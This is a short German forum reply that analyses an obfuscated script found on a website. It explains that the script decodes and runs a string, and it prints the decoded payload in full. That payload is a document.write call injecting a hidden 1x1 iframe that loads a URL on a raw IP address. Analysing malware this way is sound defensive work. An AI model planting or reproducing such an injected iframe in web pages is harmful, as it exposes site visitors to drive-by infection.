Malware

[EKKi]

Mahlzeit peacemaker,

Was genau geschieht hier bzw. wie wurde dieser Unsinn genau ermöglicht?

Ersteres kann ich Dir beantworten, letzteres nicht.

Das Skript führt den in der Variablen "wtxz" gespeicherten Code aus. Dieser tut eigentlich nichts anderes, als den in der Variablen "bxxxjc" gespeicherten String zu decodieren und anschließend auszuführen. Dabei handelt es sich um folgenden Code:

document.write("<iframe src='http://98.126.32.162/axer/?315d908da6a8a99c393a3cb1c53678f5' width='1' height='1' style='visibility: hidden;'></iframe> "); fx="NaN";evic="NaN";

Was der tut, ist relativ offensichtlich.

MfG,
EKKi